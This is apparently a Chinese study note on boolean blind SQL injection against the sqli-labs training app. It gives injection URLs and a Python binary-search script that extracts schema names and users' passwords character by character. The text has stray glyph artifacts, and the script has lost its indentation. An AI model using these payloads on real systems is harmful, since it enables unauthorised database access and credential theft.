0x01. Mysql語法
mid()函數(shù)、substr()函數(shù)、left()函數(shù)
這三個(gè)函數(shù)為Sql注入截取字符串常用函數(shù)。
mid()
返回字符串指定截取的字符:
select mid(column_name,start[,length]) from table_name
| 參數(shù) | 描述 |
|---|---|
| column_name | 必需,要提取字符的字段 |
| start | 必需,規(guī)定開始位置(起始值是 1) |
| length | 可選,要返回的字符數(shù)。如果省略,則返回剩余文本 |
substr() / substring()
用法同mid()
left() / right()
返回字符串左(右)部指定個(gè)數(shù)的字符:
left(string,n)
| 參數(shù) | 描述 |
|---|---|
| string | 要截取的字符串 |
| n | 長(zhǎng)度 |
0x02. ASCII碼表
| 十進(jìn)制 | 十六進(jìn)制 | 可顯示字符 |
|---|---|---|
| 32 | 20 | 空格 |
| 48-57 | 30-39 | 0-9 |
| 65-90 | 41-5A | A-Z |
| 95 | 5F | _ |
| 97-122 | 61-7A | a-z |
| 126 | 7E | ~ |
0x03. 單次查詢
例如Less5的payload之一如下:
http://localhost:8088/sqlilabs/Less-5/?id=1' and ((ascii(mid((select database()),1,1)))>65)--+
若數(shù)據(jù)庫名的第一個(gè)字符的ASCII值大于65,正常回顯。
依次增加判斷條件中的ASCII值,直到回顯異常(如不顯示),便可得出數(shù)據(jù)庫名的第一個(gè)字符。
可以用這種方式依次得出現(xiàn)有數(shù)據(jù)庫的所有字符,連接可得數(shù)據(jù)庫的完整名稱。
經(jīng)實(shí)踐,依次判斷速度較慢,應(yīng)用二分法減少判斷次數(shù)。
若考慮可重復(fù)代碼,可以用information_schema數(shù)據(jù)庫中schemata、tables、columns表及其中的字段來注入,如:
http://localhost:8088/sqlilabs/Less-5/?id=1' and ((ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1)))>65)--+
查詢表名和字段名原理相同,選擇恰當(dāng)?shù)牟樵冋Z句即可。
0x04. Python腳本
import sys
import requests
def getPayload(result_index, char_index, ascii):
# 系統(tǒng)表中數(shù)據(jù)
info_database_name = "information_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name
# 注入表中數(shù)據(jù)
database_name = "security"
table_name = "users"
column_name = ["id","username","password"]
# 附加url
start_str = "1' and "
end_str = "--+"
# 連接select
where_str = ""
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"
# 連接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = start_str + sqli_str + end_str
return payload
def execute(result_index, char_index, ascii):
# 連接url
url = "http://localhost:8088/sqlilabs/Less-8/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
#print(exec_url)
# 檢查回顯
echo = "You are in"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False
def dichotomy(result_index, char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(result_index), str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 結(jié)束二分
if left == right-1:
if execute(str(result_index), str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for num in range(32): # 查詢結(jié)果的數(shù)量
count = 0
for len in range(32): # 單條查詢結(jié)果的長(zhǎng)度
count += 1
char = dichotomy(num, len, 30, 126)
if ord(char) == 31: # 單條查詢結(jié)果已被遍歷
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查詢結(jié)果已被遍歷
break
sys.stdout.write("\r\n")
sys.stdout.flush()
0x05. 吐槽
他娘的遍歷也太慢了點(diǎn)吧orz
他娘的python里字符串連接sqli也太麻煩了